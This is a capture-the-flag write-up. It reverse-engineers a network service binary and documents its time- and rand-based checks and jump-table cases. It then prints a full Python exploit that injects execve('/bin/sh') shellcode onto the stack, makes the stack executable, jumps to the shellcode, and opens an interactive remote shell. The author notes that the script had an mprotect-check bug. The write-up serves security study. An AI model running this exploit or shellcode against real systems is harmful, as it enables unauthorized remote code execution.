Like dethstarr, we had to fully reverse a given binary to understand how the protocol works. As usual, we have to pass a lot of checks. The first one can be summed up to the following C code:

    read(0, buff, 0x50);
    if (*(DWORD*)buff <= 0x182)
        if (*(DWORD*)buff > 0x181)
            if (!strcmp(buff + 4, "INETCOP"))
                if (*(DWORD*)(buff + 9) == time(0))
                    if (!strcmp(buf + 40, <random_string>))
                    {
                        res_diff = *(DWORD*)(buff + 18) - *(DWORD*)(buff + 19);
                        if (res_diff > 0)
                            return res_diff;
                    }
    return -1;

The random_string is created using the following function :

    char random_str[32];
    char tab[] = "0123456789abcdef";

    srand(time(0));
    for (i = 0; i < 32; i++)
    {
        random_str[i] = tab[rand() % strlen(tab)];
    }

The first check was really a problem in remote, because we had to synchronize with the server (time(0)). To overcome this issue, I ran date on the server by using the dethstarr service exploit:

    $ date
    Sun Jun 10 15:50:07 EDT 2012

After the first check function, there is a second one which starts by reading 4 bytes as a signed dword and check if it is between 0 and 0xF (included). This value will be used as an index for a jump table. Then it reads 4 bytes again, and check if it is equal to res_diff from the first check function. This value will be used after, let’s call it nbbytes. I will not analyze every switch case, but only the 3 most interesting.

Case 0x3

The program reads 4 bytes and check if it’s null, and then if nbbytes is less than 4095, it reads nbbytes into a malloced buffer. This buffer will be passed to chdir, and then it will check if the content at 0xbfc8c8c8 is not null. If the result of the last malloc is greater than 0x82828282, this function will jump to adress 0xbfc8c8c8.

Case 0x9

Like case 0x3 it will read 4 bytes and check if it is null, but then it reads another nbbytes into a 1025 dword table. Not to worry, nbbytes is also verified in this function. After that, it will check if the value of esp is greater than 0xbfc8c8c8. If not it will mprotect it with prot parameter equal to PROT_READ | PROT_WRITE | PROT_EXEC. If the mprotect succeeds, it sends us a random string, and an error code, 0xAAAAAAAA, otherwise it sends 0x82828282.

Case 0xF

This is the last case, and the most interesting as it is required to trigger all the stuff described before.

0x0         0x4           0x8     0xC     0x10    0x14    0x18
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| <counter> |  <nb_loop>  |  0x0  |  0x0  |  0x1  |  0x0  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Each time this function is called, a global counter is incremented, so the first field of the buffer must equal to this. The filed before the last is not null, because we want the function to call another function which calls malloc and read some bytes from it. We have to do it because for case 0x9 we need to have the last malloc return adress greater than 0x82828282.

The second field is the number of times main is called, it can be useful to recurse and decrease the value of esp enough to then call case 0x9, and then case 0x3.

Here is the scheme of the exploit:

  • Call 0xF statements enough time with nb_loop equal to one, to decrease esp enough
  • One last call to case 0xF in order to set nb_loop to 2, and put our shellcode onto the stack
  • Call case 0x9 in order to make the stack executable at an address near 0xbfc8c8c8.
  • Call case 0x3 to jump into our shellcode

Here is the final exploit :

import socket
import struct
import sys
import ctypes
import time

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#s.connect(("61.42.25.24", 8888))
s.connect(("192.168.103.61", 4242))
LIBC = ctypes.cdll.LoadLibrary("./libc.so.6")

def get_time(x):
    start = LIBC.time(0)
    cur = LIBC.time(0)
    if x and (x % 100) == 0:
        while cur == start:
            cur = LIBC.time(0)
    return cur - 2

def first_check(x, a, b):
    t = get_time(x)
    LIBC.srand(t)

    buf = struct.pack("<I", 0x00000182)
    buf += "INETCOP"
    buf += "B" * 25
    buf += struct.pack("<I", t)
    tab = "0123456789abcdef"
    for x in xrange(32):
        v = LIBC.rand()
        buf += tab[v % len(tab)]
    buf += struct.pack("<I", a)
    buf += struct.pack("<I", b)
    s.send(buf)

def start_second_check(a, b, func):
    s.send(struct.pack("<I", func))
    s.send(struct.pack("<I", a - b))

# 0xF case
def last_case(counter, diff, nb_loop, last, cmd):
    s.send(struct.pack("<I", counter))
    s.send(struct.pack("<I", nb_loop))
    s.send(struct.pack("<I", 0x00000000))
    s.send(struct.pack("<I", last))
    s.send(struct.pack("<I", 0x00000001))
    s.send(struct.pack("<I", 0x00000000))
    s.send(cmd)

# 0x9 case
def mprotect_case():
    a = 0x30
    b = 0x20
    diff = a - b
    first_check(counter, a, b)
    start_second_check(a, b, 0x9)
    s.send(struct.pack("<I", 0))
    cmd = "A" * diff
    s.send(cmd)
    s.recv(0x50)
    d = s.recv(0x10)
    if len(d) > 4:
        error = struct.unpack("<I", d[-4:])[0]
        print "Return : ", hex(error)
        if error == 0x82828282:
            print "mprotect() failed"

# 0x3 case
def chdir_case():
    a = 0x30
    b = 0x20
    diff = a - b
    first_check(counter, a, b)
    start_second_check(a, b, 0x3)
    s.send(struct.pack("<I", 0))
    s.send("/tmp" + "\x00" + "A" * (diff - 5))

counter = 0
a = 0x30
b = 0x20
diff = a - b

loop = int(sys.argv[1])

raw_input()

for x in xrange(loop):
    print "X = ", x
    try:
        first_check(x, a, b)
        start_second_check(a, b, 0xF)
        last_case(counter, diff, 1, 0, "A" * diff)
        counter = counter + 1
    except :
        print s.recv(0x50)
        d = s.recv(0x10)
        if len(d) > 4:
            error = struct.unpack("<I", d[-4:])[0]
            print "Error : ", error
            print s.recv(1024)
        else:
            print d
        exit(0)

shellcode = "\x90" * 40 + "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80" + "\x90" * 40
a = 0x1000
b = 0x20
diff = a - b
length = diff - (len(shellcode) * 10)
cmd = "\x90" * length + shellcode  * 10
first_check(x, a, b)
start_second_check(a, b, 0xF)
# put the shellcode by using the read on the stack instead of malloc
last_case(counter, diff, 1, 1, cmd)
counter = counter + 1


a = 0x30
b = 0x20
diff = a - b
first_check(x, a, b)
start_second_check(a, b, 0xF)
last_case(counter, diff, 3, 0, "A" * diff)

mprotect_case()

chdir_case()

while True:
    print ">",
    cmd = raw_input()
    if not cmd:
        break
    s.send(cmd + "\n")
    sys.stdout.write(s.recv(65536))

Unfortunately, I wasn’t able to exploit this on the remote service, because I had an error in my python script. It wasn’t checking the mprotect return value correctly, and I only figured this out after the end of the CTF.